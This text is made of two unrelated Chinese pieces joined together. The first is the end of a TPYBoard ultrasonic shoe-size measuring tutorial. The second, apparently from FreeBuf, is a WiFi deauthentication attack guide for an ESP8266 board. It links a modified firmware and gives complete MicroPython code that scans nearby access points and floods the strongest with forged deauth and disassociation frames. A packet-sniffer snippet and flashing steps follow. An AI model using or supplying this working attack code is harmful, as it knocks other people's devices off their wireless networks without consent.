(2)a、b、c、d、e、f、g、dp(h)是“段选”针脚,用法和1位数码管一致,用来显示具体的数值。

数码管(位选)

TPYBoard v10x开发板

1

X3

2

X4

3

X5

4

GND(鞋码匹配用不到四位所以该脚拉低)

数码管(段选)

TPYBoard v10x开发板

a

X6

b

X7

c

X8

d

Y9

e

Y10

f

Y11

g

Y12

dp(h)

留空(此脚为小数点的控制脚悬空即可)

5. 接线图

CY`1[A5{1FLYNCA7BDKNYE0.jpg

6. 源代码

import pyb
from pyb import Pin
from pyb import Timer
from machine import SPI,Pin
Trig = Pin('X2',Pin.OUT_PP)
Echo = Pin('X1',Pin.IN)
num=0
flag=0
run=1
def start(t):
global flag
global num
if(flag==0):
num=0
else:
num=num+1
def stop(t):
global run
if(run==0):
run=1
start1=Timer(1,freq=10000,callback=start)
stop1=Timer(4,freq=2,callback=stop)
sizecc = [35,36,37,38,39,40,41,42,43,44,45,46,47]#280-47 -5
while True:
if(run==1):
Trig.value(1)
pyb.udelay(100)
Trig.value(0)
while(Echo.value()==0):
Trig.value(1)
pyb.udelay(100)
Trig.value(0)
flag=0
if(Echo.value()==1):
flag=1
while(Echo.value()==1):
flag=1
if(num!=0):
#print('num:',num)
distance=num/1000*34000/2
print('Distance')
print(distance,'mm')
cc = (int)((distance-215)/5)
if cc<0:
cc=0
elif cc>12:
cc=12
print(sizecc[cc],'cc')
flag=0
run=0

*本文作者:bodasister,转载请注明来自FreeBuf.COM

  0×00前言

  之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202。

1.jpg

  0×01实现原理

  a) 通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。

  b) 调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。

  0×02攻击构思

  a) 程序一开始扫描附件的AP。

  b) 找到信号最强的AP,获取到他的MAC地址(bssid)和信道。

  c) 将TPYBoardv202切换到同攻击AP相同的信道。

  d) 使用攻击AP的MAC地址,组合deauth解除认证包发送。

  0×03编译烧写固件及程序源码

  1、 编译固件

  现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是

  我自己动手编译了一次固件,地址:

  https://github.com/PakchoiFood/micropython-deauth

  大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:

  https://github.com/micropython/micropython/tree/master/esp8266

  需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。

  下载后解压,文件如下:

2.png

  firmware.bin文件:micropython-esp8266生成的固件。

  增加的内容:

  setAttack函数

  参数:int类型(信道)

  功能:设置esp8266的信道

  send_pkt_freedom函数

  参数:bytes数组(定义的数据包)

  flash_download_tools_v3.3.6_win.rar:烧写固件的工具。

  MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。

  main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。

  import time

  import uos

  import wireless

   

  sta_if=wireless.attack(0)#0:STA 模式 

  sta_if.active(True)

  ap_list=sta_if.scan()

  print(ap_list)

  ssid=''

  bssid=''#bssid:AP MAC address

  channel=''#信道

  _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认


  def deauth(_ap,_client,type,reason):

     
  # 0 - 1   type, subtype c0:
  deauth (a0: disassociate)

     
  # 2 - 3   duration (SDK takes
  care of that)

     
  # 4 - 9   reciever (target)

     
  # 10 - 15 source (ap)

     
  # 16 - 21 BSSID (ap)

     
  # 22 - 23 fragment & squence number

     
  # 24 - 25 reason code (1 = unspecified reason)

     
  packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC,
  0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00,
  0x00,0x01, 0x00])

     
  for i in range(0,6):

         
  packet[4 + i] =_client[i]

         
  packet[10 + i] = packet[16 + i] =_ap[i]

     
  #set type

     
  packet[0] = type;

     
  packet[24] = reason

     
  result=sta_if.send_pkt_freedom(packet)

     
  if result==0:

         
  time.sleep_ms(1)

         
  return True

     
  else:

         
  return False

     
  

  if __name__=="__main__":

     
  max_rssid=0

     
  max_id=0

     
  num=0

   

     
  #获取信号最强的AP 进行攻击

     
  for i in ap_list:

         
  if max_rssid==0:

              max_rssid=i[3]#rssid

         
  else:

              if i[3]>max_rssid:

                  max_rssid=i[3]

                  max_id=num

         
  num+=1

     
  ssid=ap_list[max_id][0]

     
  bssid=ap_list[max_id][1]

     
  channel=ap_list[max_id][2]

     
  print('ssid:',ssid,'-bssid:',bssid)

     
  print('-channel:',channel,'-rssid:',max_rssid)

     
  sendNum=5000#攻击次数

     

     
  print('******************************')

     
  if sta_if.setAttack(channel):

         
  print('Set Attack OK')

         
  time.sleep_ms(100)

         
  print('---deauth runing-----')

         
  for i in range(0,sendNum):

              r_=deauth(bssid, _client, 0xC0,
  0x01)

              if r_:

                  

                  deauth(bssid, _client, 0xA0,
  0x01)

                  deauth(_client, bssid, 0xC0,
  0x01)

                  deauth(_client, bssid, 0xA0,
  0x01)

                  time.sleep_ms(5)

              else:

                  print('---deauth fail-------')

              time.sleep_ms(5000)

  
 


sniffer文件夹下的main.py实现网络抓包功能。

import wireless

import time

#可以指定信道1~13
sniffer=wireless.sniffer(6)

#0:表示从信道1开始 定时切换信道

#sniffer=wireless.sniffer(0)

  烧写固件

  1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

3.png

  2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。

  3、选择firmware.bin固件文件,地址0×00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

4.png

  4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

5.png

  5、等待下载完毕,关闭软件退出。

  下载程序

  6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

6.png

  此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。

  .NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html

  7、选择COM57,点击【Open】打开串口。

7.png

  8、点击右侧的文件夹图标的按钮,选择main.py文件。

8.png

  9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

9.png

  10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)

  打开串口助手,就可以看到esp8266抓包的数据。

  10.png